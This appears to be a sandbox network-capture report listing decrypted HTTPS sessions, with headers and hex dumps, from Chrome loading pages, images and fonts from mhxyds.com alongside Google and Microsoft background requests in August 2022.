277 172.64.145.85 443 192.168.11.20 54406 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:20 UTC 14622 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:43:20 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df7697e0d696a-FRA

2022-08-11 03:43:20 UTC 14622 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 14 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2d 70 61 0a 67 6f 
6f 67 6c 65 61 70 69 73 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 77 00 04 ac d9 10 8a 00 00 29 04 d0 00 
00 00 00 01 84 00 0c 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: optimizationguide-pagoogleapiscomw)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

278 192.168.11.20 53280 172.217.16.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:20 UTC 14623 OUT POST /v1:GetModels?key=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1
Host: optimizationguide-pa.googleapis.com
Connection: keep-alive
Content-Length: 19
Content-Type: application/x-protobuf
X-Client-Data: CI+2yQEIorbJAQjEtskBCKmdygEIwPbKAQjv8MsBCOryywEI7/LLAQiO9MsBCKf5ywEI1vzLAQi
0/8sBCOeEzAEI/4XMAQjLicwBGK2pygEY5aDLAQ==
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-08-11 03:43:20 UTC 14623 OUT Data Raw: 0a 08 08 02 20 01 20 02 20 03 18 03 2a 05 65 6e 2d 55 53 
Data Ascii:    *en-US

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

279 172.217.16.138 443 192.168.11.20 53280 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:20 UTC 14623 IN HTTP/1.1 200 OK
Content-Type: application/x-protobuf
Content-Disposition: attachment
Vary: X-Origin
Vary: Referer
Date: Thu, 11 Aug 2022 03:43:20 GMT
Server: ESF
Cache-Control: private
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Origin,Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-08-11 03:43:20 UTC 14624 IN Data Raw: 38 64 0d 0a 0a 8a 01 0a 0e 08 02 10 aa 91 ca ab a3 30 22 01 02 48 01 12 78 2a 76 68 74 74 70 73 3a 2f 2f 6f 
70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2d 70 61 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 64 6f 77 6e 6c 
6f 61 64 73 3f 6e 61 6d 65 3d 31 36 35 38 37 35 34 30 37 34 37 39 34 26 74 61 72 67 65 74 3d 4f 50 54 49 4d 49 5a 41 
54 49 4f 4e 5f 54 41 52 47 45 54 5f 4c 41 4e 47 55 41 47 45 5f 44 45 54 45 43 54 49 4f 4e 0d 0a 
Data Ascii: 8d0"Hx*vhttps://optimizationguide-pa.googleapis.com/downloads?name=1658754074794&target=OPTIMIZATI
ON_TARGET_LANGUAGE_DETECTION

2022-08-11 03:43:20 UTC 14624 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

28 172.64.145.85 443 192.168.11.20 52994 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 392 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6757e066901-FRA

2022-08-11 03:42:41 UTC 393 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 
01 00 01 00 00 00 84 00 04 8e fa ba a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

280 118.27.105.118 443 192.168.11.20 64158 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:20 UTC 14624 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:20 GMT
Content-Type: text/html
Content-Length: 72388
Last-Modified: Fri, 28 Jan 2022 09:57:53 GMT
Connection: close
Vary: Accept-Encoding
ETag: "61f3be21-11ac4"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:43:20 UTC 14624 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 
20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 
2d 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 
20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 22 3e 2
0 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 20 20 20 20 20 3c 
68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 
0d 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 
Data Ascii: <!DOCTYPE html>...[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->...[if IE 7]>         <html 
class="no-js lt-ie9 lt-ie8"> <![endif]-->...[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->...[if gt IE 8]>...>

2022-08-11 03:43:20 UTC 14640 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 6d 79 2d 73 68 61 72 65 68 6f 6c 64 69 6e 
67 2e 68 74 6d 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 63 6c 61 73 73 3d 22 68 65 61 64 69 6e 67 20 6d 65 67 61 
6e 61 76 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 22 3e 4d 79 20 53 68 61 72 65 68 6f 6c 64 69 6e 67 3c 2f 68 34 3e 0d 
0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:              <a href="my-shareholding.html">                                                                                    <h4 
class="heading meganav-item-heading">My Shareholding</h4>                                                              

2022-08-11 03:43:20 UTC 14657 IN Data Raw: 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 4e 65 77 73 20 26 61 6d 70 3b 20 49 6e 73 69 67 68 74 73 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 67 61 6e 61 76 2d 6d 65 6e 75 20 61 63 63 6f 72 
64 69 6f 6e 2d 63 6f 6c 6c 61 70 73 65 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 
Data Ascii:  aria-expanded="false">                                                    News &amp; Insights                                            
    </a>                                                <div class="meganav-menu accordion-collapse" role="menu

2022-08-11 03:43:20 UTC 14673 IN Data Raw: 6b 65 79 20 74 65 6e 65 74 20 6f 66 20 74 68 65 20 43 6f 6d 70 61 6e 79 26 72 73 71 75 6f 3b 73 20 69 6e 76 
65 73 74 6d 65 6e 74 20 73 74 72 61 74 65 67 79 20 69 73 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 4d 61 6e 61 
67 65 72 20 77 69 74 68 20 74 68 65 20 66 6c 65 78 69 62 69 6c 69 74 79 20 74 6f 20 61 64 64 20 76 61 6c 75 65 20 62 
79 20 69 6e 76 65 73 74 69 6e 67 20 69 6e 20 67 6c 6f 62 61 6c 20 6c 69 73 74 65 64 20 73 65 63 75 72 69 74 69 65 73 2
c 20 74 68 65 20 43 6f 6d 70 61 6e 79 20 68 61 73 20 63 68 6f 73 65 6e 20 74 68 65 20 61 62 6f 76 65 20 42 65 6e 63 68 
6d 61 72 6b 20 74 6f 20 72 65 66 6c 65 63 74 20 77 68 61 74 20 74 68 65 20 43 6f 6d 70 61 6e 79 20 62 65 6c 69 65 76 
65 73 20 69 73 20 74 68 65 20 6f 70 70 6f 72 74 75 6e 69 74 79 20 63 
Data Ascii: key tenet of the Company&rsquo;s investment strategy is to provide the Manager with the flexibility to add v
alue by investing in global listed securities, the Company has chosen the above Benchmark to reflect what the Company 
believes is the opportunity c

2022-08-11 03:43:20 UTC 14689 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 3c 61 20 68 72 65 66 3d 22 66 6f 72 6d 73 2e 68 74 6d 6c 22 3e 46 6f 72 6d 73 3c 2f 61 3e 0d 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                          </li>                                                            <li>                                
                                <a href="forms.html">Forms</a>                             

Session ID Source IP Source Port Destination IP
Destination
Port

Process

281 192.168.11.20 59296 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:20 UTC 14656 OUT GET /img/logo.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

282 118.27.105.118 443 192.168.11.20 59296 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14696 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:20 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:21 UTC 14696 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

283 192.168.11.20 60472 51.11.233.143 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:21 UTC 14697 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:B4DB5D29-CE1F-133C-E940-0BE8A7B2FF54&ctry=GB&time=20220811T044321Z&lc=en-US&pl=en-US,en-
GB&idtp=mid&uid=eb235675-5bff-4e59-9bb0-da541f705e92&aid=00000000-0000-0000-0000-000000000000&ua=W
indowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a6b3ad29dcef429cb0a9f17e9976ba8b&ctmode=MultiSe
ssion&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.
0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19042.1165&disphorzres=1920&dispsize=27.8&dis
pvertres=1080&fosver=18363&isu=0&lo=516520&metered=false&nettype=ethernet&npid=sc-338388&oemName=To%
20Be%20Filled%20By%20O.E.M.&oemid=To%20Be%20Filled%20By%20O.E.M.&ossku=Professional&prevos
ver=18363&rver=2&smBiosDm=To%20Be%20Filled%20By%20O.E.M.&stabedgever=94.0.992.31&tl=2&tsu=
492780&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: pod=464783&chs=0&imp=0&chf=0&ds=487739&fs=450557&sc=7
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAY8hw9sIj6wMKw048lYNNPkhz4DgfYHm
5bAp5AQUoNwIhUR1bAHEibB55A7EstAbRSk6BdBVceLNV0t4/sk9nVS4Rl5rz3hJwoiXi/VYG4pvf2cQf0UbKs6aDo
WbDEmpQLoysqSi8QWdovdOEkO7DXnzfNVswp5lRtW5aRY/dZTnsN2QRR8P1H3JiNMVJb1V+OklQ1InY/E+Squixijv
6pX077Xu/f7YyowzzL/EcIEfoX7UW2P845x4HihBJB4a4KKXgfIYfYCpwD1+3D/VUoxvK2xLT3EcGoyLUVGU7X+swp
Fxa2RUt0zW34uKu1HIUOKBEdeuzlRXYmU9VbUc9ScDZgAACLaz4M8qtFvlsAFmvOS0RH66wwFuec0JrnSaejmNO1Jr
KBuQ3rIDJCKSkrH6TeZbh6WyNbk+M2aSS1az2qgtyIVK6PbvPCpFWVRfneP1bZdjzIzglqG9vTH1LAYFGynmWkvyO0
r99LxTdmPDZYK6VbGehedTEApsLHi4oWJ3IwfTnqrZFzJOmIq3B6rIVIKLMXwNyXqQUwidFdCO+AUGewcXv+3WWBky
nPV4G3YeM96DzgTqrP3jSMSxOEQW68a5JChiiY1XKr744d6OL9a2qu9FgTw/0bqXGNxoF5YqkwMYWIXk9YY+8aEa+q
nG69jgj7wdk1BhgUEDQNFJdCY/KMXsBnwjjDUmTT/a0FSV/Z+V8W7Gw+jtLcksGNS2Qr2hlb1xebnUlfH70aBxex4o
v9LYr2xRcYvhF17dutCF3iINTZrcLvubJbMetKlkTe3jl4xJpnYdZdaswaTTRrdl3gk9WFyeq1FOCfSyCiqjgTNopiAReKifoJI0
dpILG0d/ipH3HO+6mXNIsyVtFId1sK2KRp4H4EMOoylrYvtzLHekLP5ZsQD03xVcl7KCHUMJibPRawflj2V8rHLWAQ==&p=
Cache-Control: no-cache
MS-CV: JFseZNmRpUOK/GSm.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-08-11 03:43:21 UTC 14701 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 138
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425645043-T700389697-C128000000003464929+B+P55+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: obPUuCuSsP50muCWxcoE1AfABv/9z+5gJ3Meiar7xuNoQRL9qgbr1Ys4bOW5eTHX3YnRCNpizQkX9BV
hMoD9dfgPjQ5biK7TKaQchhR6ekG6mQbOa4FLrXwee6JIxtoPRkp88RuN9g9ocae5dyQXGk3YbJuin4QoSlX+XIuN5
QxiSDJEBtvxQB/zoaD75Z+b+vueSpFLrwQ4qL3I5WiRazuOCaSvbPqM/tkqW8389Gm6rWQ8wImQpO/jaO2nq5NHW16
nLrQ5N56RL/ketufKV4PyF59Dnzyleu2hHhomBd9jnUMjdkPZLMYzMN7a0Ql53hjXvV2HNdxR+EiSuvsawg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 11 Aug 2022 03:43:21 GMT
Connection: close

2022-08-11 03:43:21 UTC 14702 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 30 30 2c 22 6d 73 67 22 3a 22 4e 6f 20 61 64 20 61 76 61 69 6c 61 62 6c 65 2e 20 4e 6f 20 61 
64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 
32 30 32 32 2d 30 38 2d 31 31 54 30 37 3a 34 33 3a 32 31 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2000,"msg":"No ad available. No additional information"}],"refres
htime":"2022-08-11T07:43:21"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

284 192.168.11.20 59806 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:21 UTC 14699 OUT GET /layouts/system/VisitorIdentificationCSS.aspx?1660193000845 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/about.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

285 192.168.11.20 60952 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14700 OUT GET /~/media/perpetualpeic/images/hero-sp-banners/website-image-1_1665x550.ashx?w=2200&hash=BE4181F0
4B84F74A757ECFDF8522E33EE398B202 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/about.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

286 192.168.11.20 62291 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:21 UTC 14702 OUT GET /img/logo-footer.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

287 192.168.11.20 60471 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:21 UTC 14703 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
